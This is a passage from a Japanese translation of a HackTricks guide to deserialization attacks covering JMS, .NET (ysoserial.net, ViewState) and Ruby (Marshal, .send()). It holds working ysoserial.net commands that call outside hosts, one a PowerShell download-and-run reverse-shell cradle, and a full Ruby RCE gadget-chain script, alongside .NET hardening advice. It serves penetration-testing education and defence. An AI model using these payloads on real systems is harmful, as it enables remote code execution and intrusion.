つまり、危険な方法でJMSを使用している多くのサービスが存在します。したがって、これらのサービスにメッセージを送信する権限がある場合(通常、有効な資格情報が必要です)、シリアル化された悪意のあるオブジェクトを送信してコンシューマー/サブスクライバーによって逆シリアル化される可能性があります。
つまり、この悪用では、そのメッセージを使用するすべてのクライアントが感染する可能性があります。
サービスが脆弱であっても(ユーザー入力を安全に逆シリアル化していないため)、脆弱性を悪用するためには有効なガジェットを見つける必要があります。
ツールJMETは、既知のガジェットを使用してシリアル化された悪意のあるオブジェクトを送信してこれらのサービスに接続し攻撃するために作成されました。これらのエクスプロイトは、サービスがまだ脆弱であり、使用されたガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
参考文献
- JMETトーク: https://www.youtube.com/watch?v=0h8DWiOWGGA
- スライド: https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
.Net
.Netの文脈では、逆シリアル化の脆弱性は、Javaで見られるものと同様に、オブジェクトの逆シリアル化中に特定のコードを実行するためにガジェットが悪用される方法で機能します。
フィンガープリント
WhiteBox
ソースコードを調査して、以下の出現箇所を確認する必要があります:
TypeNameHandling
JavaScriptTypeResolver
焦点は、ユーザーが制御する変数によって型が決定されるシリアライザに置かれるべきです。
BlackBox
検索対象は、サーバーサイドで逆シリアル化される可能性のあるBase64エンコードされた文字列 AAEAAAD///// や類似のパターンです。これには、TypeObject
や $type
を備えた JSON や XML 構造が含まれる可能性があります。
ysoserial.net
この場合、ツール ysoserial.net を使用して 逆シリアル化のエクスプロイトを作成 できます。Gitリポジトリをダウンロードしたら、例えばVisual Studioを使用してツールを コンパイルする必要があります。
ysoserial.net の主なオプションは、--gadget
、--formatter
、--output
、--plugin
です。
--gadget
は、悪用するガジェットを示すために使用されます(逆シリアル化中にコマンドを実行するために悪用されるクラス/関数を示します)。--formatter
は、エクスプロイトをシリアル化する方法を示すために使用されます(ペイロードを逆シリアル化するバックエンドがどのライブラリを使用しているかを知っており、それと同じものを使用してシリアル化する必要があります)。--output
は、エクスプロイトを raw または base64 エンコードで表示するかを示すために使用されます。ysoserial.net はペイロードを UTF-16LE でエンコードします(Windowsでデフォルトで使用されるエンコーディング)ので、Linuxコンソールから単にエンコードしても、エンコーディングの互換性の問題が発生し、エクスプロイトが正常に機能しなくなる可能性があります(HTB JSONボックスでは、ペイロードはUTF-16LEとASCIIの両方で機能しましたが、これは常に機能するとは限らないことに注意してください)。--plugin
ysoserial.net は、ViewStateなどの 特定のフレームワーク用のエクスプロイト を作成するためのプラグインをサポートしています。
その他の ysoserial.net パラメータ
--minify
は、より小さなペイロード を提供します(可能な場合)--raf -f Json.Net -c "anything"
これにより、指定されたフォーマッタ(この場合はJson.Net
)で使用できるすべてのガジェットが示されます。--sf xml
は、ガジェットを指定できます(-g
) 、ysoserial.net は "xml" を含むフォーマッタを検索します(大文字小文字を区別しない)。
ysoserialの例 エクスプロイトの作成:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.netには、各エクスプロイトがどのように機能するかをよりよく理解するのに役立つ非常に興味深いパラメーターがあります:--test
このパラメーターを指定すると、ysoserial.netはエクスプロイトをローカルで試行し、ペイロードが正しく機能するかどうかをテストできます。
このパラメーターは役立ちます。なぜなら、コードを確認すると、次のようなコードの断片が見つかるからです(ObjectDataProviderGenerator.csから):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
これは、エクスプロイトをテストするためにコードがserializersHelper.JsonNet_deserializeを呼び出すことを意味します。
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
前のコードは作成されたエクスプロイトに脆弱です。そのため、.Netアプリケーションで類似したものを見つけた場合、おそらくそのアプリケーションも脆弱です。
したがって、--test
パラメータを使用すると、ysoserial.netが作成できる逆シリアル化エクスプロイトにどのコードチャンクが脆弱かを理解できます。
ViewState
.Netの__ViewStateパラメータを悪用しようとする方法についてのこのPOSTを見て、任意のコードを実行してください。被害者マシンが使用している秘密をすでに知っている場合は、この投稿を読んでコードを実行してください。
予防
.Netでの逆シリアル化に関連するリスクを軽減するためには:
- データストリームがオブジェクトタイプを定義することを避ける。可能な限り
DataContractSerializer
またはXmlSerializer
を使用します。 JSON.Net
では、TypeNameHandling
をNone
に設定します: %%%TypeNameHandling = TypeNameHandling.None%%%JavaScriptSerializer
をJavaScriptTypeResolver
と一緒に使用しない。- 逆シリアル化できるタイプを制限することで、
System.IO.FileInfo
などの.Netタイプに伴う固有のリスクを理解し、サーバーファイルのプロパティを変更できる可能性があるため、サービス拒否攻撃につながる可能性があります。 System.ComponentModel.DataAnnotations.ValidationException
のようなリスクのあるプロパティを持つタイプには注意してください。そのValue
プロパティは悪用される可能性があります。- 逆シリアル化プロセスに影響を与える攻撃者を防ぐために、タイプのインスタンス化を安全に制御し、
DataContractSerializer
やXmlSerializer
さえも脆弱にしません。 BinaryFormatter
およびJSON.Net
用にカスタムSerializationBinder
を使用したホワイトリストコントロールを実装します。- .Net内の既知の安全でない逆シリアル化ガジェットについて情報を収集し、そのようなタイプをインスタンス化しないようにします。
- 潜在的にリスキーなコードを分離して、既知のガジェット(WPFアプリケーションの
System.Windows.Data.ObjectDataProvider
など)を信頼できないデータソースにさらさないようにします。
参考文献
- Javaおよび.Net JSON逆シリアル化論文: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c およびスライド: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Rubyでは、marshalライブラリ内の2つのメソッドによってシリアル化が容易になります。最初のメソッドであるdumpは、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアル化と呼ばれます。逆に、2番目のメソッドであるloadは、バイトストリームをオブジェクトに戻すために使用され、逆シリアル化と呼ばれます。
シリアル化されたオブジェクトを保護するために、**RubyはHMAC(Hash-Based Message Authentication Code)**を使用してデータの整合性と信頼性を確保します。この目的で使用されるキーは、次のいずれかの場所に保存されます:
config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
/proc/self/environ
Ruby 2.Xジェネリック逆シリアル化からRCEガジェットチェーン(詳細は https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
他のRCEチェーンは、Ruby On Railsを悪用するために利用されます: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() メソッド
この脆弱性レポートで説明されているように、あるユーザーの無検証入力がRubyオブジェクトの.send()
メソッドに到達すると、このメソッドを使用してオブジェクトの他の任意のメソッドを任意のパラメーターで呼び出すことができます。
例えば、evalを呼び出してから2番目のパラメーターとしてRubyコードを実行することができます:
<Object>.send('eval', '<user input with Ruby code>') == RCE
{% endcode %}
さらに、前の解説で言及されているように、.send()
のパラメーターが攻撃者によって制御されている場合、オブジェクトの引数が必要ないメソッドまたは引数がデフォルト値を持つメソッドを呼び出すことが可能です。
これには、オブジェクトのすべてのメソッドを列挙して、これらの要件を満たす興味深いメソッドを見つけることができます。
{% code overflow="wrap" %}
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
{% endcode %}
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricks をサポートする他の方法:
- HackTricks で企業を宣伝したいまたは HackTricks をPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksのグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- **💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローする。
- ハッキングトリックを共有するために、PRを HackTricks および HackTricks Cloud githubリポジトリに提出する。